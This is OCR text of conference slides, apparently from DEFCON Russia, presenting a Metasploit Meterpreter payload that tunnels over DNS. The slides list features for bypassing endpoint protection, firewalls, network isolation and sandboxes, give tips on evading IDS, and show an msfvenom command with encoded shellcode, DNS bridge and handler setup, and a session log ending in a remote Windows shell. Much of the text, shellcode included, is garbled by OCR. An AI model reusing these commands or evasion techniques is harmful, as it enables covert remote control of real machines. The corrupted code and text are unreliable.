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DNS tunnel is not new: a lot of projecByCd Yy R G f 1 &4 X

A

A

[1998] Oscar Pearson
First public tool andPoCat BugTraq

[2004] Dan Kaminsky
SSH tunnel over DNS

[2006] Erik Ekman, Bjondresson AnneBezemer
IP tunneling
https:// github.com/yarrick/iodine

[2008] Ty Miller
Pentestinghings and threats review
http://www.blackhat.com/presentations/blusa08/Miller/BH_US 08 Ty Miller_Reverse_ DNS_Tunneling_Shellcode.pdf

[2010] Ron Bowes
IP tunneling tool, shellcodeBpoC
https:// github.com/iagox86/dnscat2

[2011] First malwares using DNS tunnel with C&C

oHnmm8 | £t SESe {Aydaz2oX &SIFK L Ffaz2 LXIe&SR
Download and exec via IPv&vBsRAT agent
https:// github.com/eik00d/Reverse_DNS_Shellcode

[2012] CorelanCOd3r
Download and exec via DNS TXT payloach&br
https://blog.rapid7.com/2012/03/28/metasploHupdate-5/

[2017] Alexey Sintsov, MaxiAndreyanov
https://github.com/defconrussia/metasploiframework
https://github.com/defconrussia/metasploipayloads
Transport formeterpreter
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Our project features

=
m
COMPONENTS FEATURES m
A Stealth
ADNS tunnels: A No sockets/conne_ctionfrom target process!
A Over IPVG records (from WINXP) et B Lo e
A Over DNSKEY records (from WIN |7) T g s
A Stagers (shellcodes): A Speed
A Win x86 A UPLINK ¢ from 1 Kb/sec to 3 Kb/Sec
A Win x64 A DOWNLINK
A DNSKEY-- from 86 Kb/Sec to 660 Kb/Sec
A Stages; metsrv.dll: A IPv6 - from 5 Kb/Sec to 16 Kb/Sec
A Win x86 A Efficiency
: A Isolated segments access
A Win x64 _ Even if host in isolated VLAN with no Internet policy!
AMeterpreter bridge A Endpoint protection bypass
A DNS server (python code) No sockets; no alerts!

A METASPLOIT
A Allmeterpreter capabilities over DNS reverse tunnel transport

A Supporting multiply consoles/jobs (use different SERVER_
A Up to 26 parallel sessions for one DNS Bridge
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Reverse DNS tunnel
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MetasploitPayloads

payload purpose

windows/meterpreter_reverse_dns Stageless86 meterpreter payload
windows/x64/meterpreter_reverse _dns Stageless64meterpreterpayload

windows/meterpreter/reverse _dns Staged x86éneterpreter payload

windows/x64/imeterpreter/reverse_dns Staged x64neterpreter payload

deliver an EXPLQUT with STAGER shellcode to a target >
Uploading STAGE to the DNS B@g" Shellcode first

_ stage getting
<STAGER asking for the STAGI stageetsry)
STAGH(etsr) over DNS then

msfconsole Dns_server.py run metsry and
- ' stageless metsrv
Request/TLV frormetsr connects to
< TLV over TCP > 2V Tometsry S MSE over DNS



Yora KSff y2 LJ &aaH

A Local FW bypass |
Sockets fromsvchost{dnscachgto local DNS, _ ¢

« MY VS I ..

g

A Network/VLAN isolation bypass
Connection from box to the local DNS (router, gateway, AD)

A Security sandboxes/isolations hosts bypass
Most sandbox/isolation features allows local DNS
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[mzlmDN5Responder.exe 236K
B " Memary Compression '

Qi meterdns_x86 exe 3

(8] meterdns_x26.exe:21684 Properties

Eﬂ MSASCuiL exe

[25] MS1_ActiveX_5e

[az| M5I5ervice exe

B | MsiTrueColorHelp

=l [#z] MsiTrueColorSery
[a5|MsMpEng exe
221 mspaint exe

o

Image Performance Performance Graph GPU Graph Threads TCP/IP  Security Environment Job
Resolve addresses

Prota... emote Address State

gL Network Manager.
=l |§ | ngireer F exe

" CPU Usage: 5.86% @
JO:14,02]
JO:14,02]

1-7-11
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TipzandTrickz

A Use DNSKEY if possible, it is faster

A DNSKEY faster, but IPv6 better when you hiding from network IDS (esp. at SHELLCODE stage)
MZ binarymeterpretersignatures in DNSKEY traffic, while IPv6 they are fragmented and not detected

A Do not use it for DOWNLOADING huge amount of data it is slow and X_ ©

A migrate¢N icg.exegt 1200
Add big timeout for migrate (especially for IPv6 tunnel)

A downloadcb 10240d:\biger_file.rar
Add block size around 10kb for uplink downloads



MSF DNS Bridge

iroot@ip—172—31—7—11 “1# ./dns_server.py —--domain 0x4l.ws --ipaddr 54.93.252.4

--domain --domain for this NS
--ipaddr --IP of this NS
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PAYLOAD
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ET_-' vagrant@meta-dev: /vagrant/metasploit-framework/metasploit-framework

vagrantBmeta-dev: /vagrant/metasploit-Tramework/metasploit—framework?® _/msfvenom —p windows/meterpreter/reverse dns DOHATIN=0x41 _ws
RHOST=54.93.252 .4 —e x86/shikata ga nai -b "\x80' -T perl

No platform was selected, choosing HsT::Hodule::Platform::Hindows from the pavload
No Arch selected, selecting Arch: %86 from the pavload

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 718 {iteration=0)

x86/shikata_ga_nai chosen with final size 718

Pavyload size: 718 bytes

Final size of perl file: 3142 bvtes

ny tbuf =

"Nud9xclxbe\xd 9\ x9N w1 N8\ ed P T e 28 e T A\ Db\ x2b\xc9”
"\ublZxadhxI1\x 73 \xla\ 28I \web\xTc\xBI 7316\ e\ x2c\ubl”

BBNRDINREINReONNT L\ BN AT A RO P ABOAE bV eoa\netrnbe” . DOMIAN --domain for tunnel (you should own NS)
AT NR TONRBONE T\A A REeNnas adoNRa A FoART s \ara” - NS_IP --you can use certain NS for connect (opt)
AR Rk VO R TR oA RS PR T sBB o eooveeovmier . REQ_TYPE DNS tunnel type (DNSKEY or IPv6)

DO\ R VR ABA RGN B \ADE A6\ ReE N na vk 1\ P ARdoNeTerata” . SERVER_IBjob ID, change for another JOB or console

"B D18 2d \nBe w21\ a NrePixca w2\ xchb\xal\xb6\ xDo™
"\uf Nxab\xl 8 \uB9\xdd\xa\xbd\xhe\xec\kea wdl \ndB@\ 8 N\l ™
"2 2% TN I Tb D1\ 1 8\ T\ keb\ kd P\ ad\ xc9\xec i xl e\ uBi™
"Nufdhvel Nxed w2 Nl dixab\ B9\ =89\ xTd\xéb\xca\xel \xnco\u/la”
"Nl 8\ uZ2 I\ wB0 b d\xcc\xdc\wib\ e 9d \ 1 c\ x93\ xad\ e F Ixbc\ulfd”
"Yub T\ b6 d e\ e T 1 Db\ 8 e TN DA 80\ B3 edb\ 96\ 8™
"6\ xfevxl D\xeb\x Td\xBa\ o\ TB\x Te\ wcP xde\x 73\ 80\ =58
"N Odhvxeh 2 w61 b a\weB \wad\ T2\ kaa \ kB P\ xId\ x8d\xeb\xid\ucl”
"Axhby\x81\x0Ob\ 89\ k9 \ 9 M maB\ e 7O\ 2 T\ xOd\x03\x Tb\xbb\x92"
"Axbo\xh NxBb\x2 T\ xad\x3d\ B8\ xk6d \ eI\ wh I\ xdB\ i D\ keB\xac”




NS IR less stealth!

v —
0 [m:)mDNSResponder exe
rlll : ™

0 GPU Graph Threads TCP/IP  Security Enwir
D Frut Local Address Femote... State

= W " ngin=r’/ g
D -] ' " nginxr g TCP msi fritz box: 1054 googlep... FIN_WAITI
D (] NisSrv & LDP msi:51477 o

= ;Jnnde_e: LUDPVE msi:51477 o
D -1 [ 4 node exe

CPU Usage: 6.
072253

ayload si
1nal size
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HANDLER

usf exploit{handler) > options
Module options (exploit/multi/handler):
Hame Current Setting Required Description

Pavload options {(windows/meterpreter/reverse_dns):

Name Current Setting Required Description

DOMAIN Bx4hl . ws yes DOMAIN

EXITFUNC process yes Exit technique {Accepted: °’, seh, thread, process, none)
LPORT LAk yes The listen port

NS_1IP no NS SERVER IP

REQ_TYPE DNSKEY yes Type of DHS tunnel {Accepted: IPv6, DHSKEY)

RHOST 94.93.252.4 ves DN¥ PROXY IP

SERVER_ID toor yes SERVER 1D

DOMIAN --domain for tunnel (you should own NS)

Exploit target: '
HDIZI N arge NS IP  --you can use certain NS for connect (opt)
ame

i REQ_TYPE DNS tunnel type (DNSKEY or IPv6)
0 Hildeard farget SERVER_Ifjob ID, change for another JOB or console
msf exploit(handler) > run RHOST -- DNS Brldge IP

Exploit running as background job 8.
nsf exploit{handler) >

Started bind-DHS handler
HARNING: Local file fvagrant/metasploit-framework/metasploit-framework/data/meterpreter/metsrv.x86.dll is being used
HARNING: Local files may be incompatible with the Hetasploit Framework

Sending stage (189587 bytes) to 54.93.252.4
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SESSION
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exploit{handler) > run

Exploit running as background job 8.

exploit{handler) >

Started bind-DHS handler

HARNING: Local file fvagrant/metasploit-framework/metasploit-framework/data/meterpreter/metsrv.x86.d11 i1s being used
HARNING: Local files may be incompatible with the Hetasploit Framework

Sending stage (189587 bytes) to 54.93.252.4

Heterpreter session 1 opened (10.0.2_15:48683 —> 54.93.252_.4:4444) at 2017-11-08 20:40:09 -0200

=
%
-

=
%
-

nsf exploitl{handler) > sessions

Id Hame Type Information Connection
1 meterpreter x#86/windows HST\alexs @ HST 10.0.2.15:48683 —> 54 .93.252 44444 (192 .168.178.21)
usf exploit{hand

nsf exploit{handler) > sessions 1
Starting interaction with 1...

meterpreter > shell

Process 22848 created.

Channel 1 created.

Hicrosoft Hindows [Version 10.8.158631

{c) 2017 Hicrosoft Corporation. All rights reserved.

C:\Users\alexs\Desktop>l]

One DNS Bridge supports up to 26 parallel sessions



Feature plans

A Integrating into mairMetasploitdistrib/fork
In progressThxto @sempervictusvho helping us with that

A AddingPowersheland other payloads
Community help?

A Adding Linux payloads
Community helf

A Anything else
Community help?
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THANK YOU

Bigthanksto DC78. members for support and help!
and especially: SabOtag3d

C- Community

L

Web:
https://defcon-russia.ru/projects/meterpreter

Sources:

https:// github.com/defconrussia/metasploiframework
https:// github.com/defconrussia/metasplo#payloads

Demo:
https://www.youtube.com/watch?v=Lzb8LFt8Whg



